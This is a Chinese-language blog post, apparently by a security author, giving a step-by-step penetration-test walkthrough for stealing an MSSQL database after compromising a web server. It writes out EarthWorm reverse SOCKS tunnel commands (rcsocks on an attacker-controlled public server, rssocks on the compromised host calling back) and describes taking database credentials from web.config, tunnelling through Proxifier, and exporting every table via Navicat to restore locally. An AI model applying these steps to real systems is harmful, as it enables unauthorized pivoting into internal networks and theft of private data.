1. 程式人生 > >使用ew代理導出和導入mssql數據

使用ew代理導出和導入mssql數據

ebe tex 編碼 要去 表操作 公網ip follow web服務 term

最近有些忙,在51cto上了一個《Web網站安全評估分析及防禦》專欄,說實話,針對attack的情況,如何來進行掃描,如何來進行防禦,如何發現漏洞,是一件很有意思的事情,做這個事情才有意義和價值,penetest僅僅是為了證明,通過技術手段,可以驗證,能夠拿到webshell,乃至服務器權限。在前端時間的一個penetest中,由於Web服務器是站庫分離,通過webshell來導出數據比較困難(MSSQL數據庫),即使導出數據庫,數據庫在內網數據庫服務器上,無法直接下載,通過研究和實戰,通過ew代理及Navicat for SQL Server工具,成功獲取目標數據庫中的數據,沒有太多技術含量,文章比較實用,能夠解決實際問題。下面是詳細過程:

在penetest過程中碰到一些情況,僅僅獲取了webshell權限,無法提權(阿裏雲服務器),而數據庫服務器又不在本地,數據庫服務器在阿裏雲上,僅僅授權webshell所在IP的計算機訪問,這時候就需要通過架設代理,通過代理連接數據庫服務器,並通過Navicat for SQL Server將數據庫從遠端取回,同時需要在本地進行還原。

設置代理

1.在獨立公網IP執行命令

下載ew代理工具,下載地址:http://rootkiter.com/EarthWorm/ ,解壓後將對應版本的ew復制到相應文件夾,執行命令:ew -s rcsocks -l 1080 -e 8888,如圖1所示,其中8888為獨立公網IP地址所開放的8888端口,1080為代理端口。

技術分享圖片
圖1在獨立公網服務器上開啟443代理

2.在被控制服務器上執行命令

將ew.exe復制到被控制服務器上,通過shell執行命令:ew -s rssocks -d 139.1..31 -e 8888,139.1..31為獨立IP地址,連接8888端口。

3.設置Proxifier

安裝Proxifier程序,安裝完畢後,單擊“配置文件”-“代理服務器”-“添加”,在地址中填寫公網IP地址和對應的端口,如圖2所示,協議選擇socks版本5,完成後確定設置。

技術分享圖片
圖2設置Proxifier代理IP地址

4.測試代理

在視圖中單擊“代理檢查器”,如圖3所示,單擊“開始測試”,如果代理服務器能夠正常連通,則顯示綠色,否則顯示紅色表示代理通道未成功連接。

技術分享圖片
圖3測試代理通道建立

設置Navicat for SQL Server

1.設置Navicat for SQL Server連接

安裝Navicat for SQL Server,完成後,打開Navicat for SQL Server,在其中新建一個數據庫連接,如圖4所示,在主機名或IP地址中填寫對應的地址,一般選擇SQL Server驗證,在用戶名和密碼中輸入獲取的用戶名和密碼(數據庫用戶名和密碼一般在連接字符串中,例如web.config)。

技術分享圖片
圖4設置Navicat for SQL Server連接

2.連接測試

在Navicat for SQL Server中雙擊database,如圖5所示,打開該數據庫服務器中的所有數據庫,選中一個數據庫打開之dbo。

技術分享圖片
圖5測試數據庫連接

導出數據庫

1.選擇和設置數據庫導出

選中數據庫名稱(例如datadb)-dbo,右鍵單擊選擇“數據傳輸”,在常規中會自動出現剛才選中的數據庫,默認會選擇所有的表、視圖、過程和函數,在目標中選擇“文件”-選擇導出文件的位置和名稱,編碼選擇默認,如圖6所示。

技術分享圖片
圖6設置數據庫導出

2.去掉刪除數據庫表選項

在高級中需要去掉“創建前刪除目標對象”選項框,如果本地存在該數據庫,則不用去掉。如圖7所示,如果沒有去掉,則會在導入數據庫是出錯,因為需要drop表,數據庫本身不存在!其它選項可以根據實際需要進行選擇。

技術分享圖片
圖7去掉刪除表操作

3.導出數據

如圖8所示,正確設置數據庫導出屬性後,開始導出數據庫,顯示100%數據傳輸時代表該數據庫數據和表全部導出到本地sql文件。

技術分享圖片
圖8導出數據庫sql文件

導入SQL Server數據庫

將導出的SQL文件下載到本地,本地需要搭建SQL Server數據庫服務器,其導入過程比較簡單,下面介紹其操作流程,詳細過程就不贅述了。

1.在本地SQL Server數據庫中創建對應的數據庫名稱
2.設置相同的用戶,此處設置導出是數據對應的用戶名稱和密碼,跟導出的sql文件對應的用戶和權限,防止出現權限不一致導入數據失敗。
3.設置用戶的對應權限。在SQL Server中對用戶設置可以訪問數據庫以及數據庫角色權限。
4.設置Navicat for SQL Server,用同樣的方法在本地建立數據庫連接。
5.連接數據庫服務器,打開需要導入的數據庫到dbo處,選擇運行SQL文件,選中導出的sql文件,開始導入數據庫。
6.數據庫導入成功後,刷新數據庫即可在本地使用。

覺得本文不錯的朋友,可以移步本人在51cto專欄文章,訂閱專欄有送書活動:
(1)《Web網站安全評估分析及防禦》
(2)《sqlmap從入門到精通》

使用ew代理導出和導入mssql數據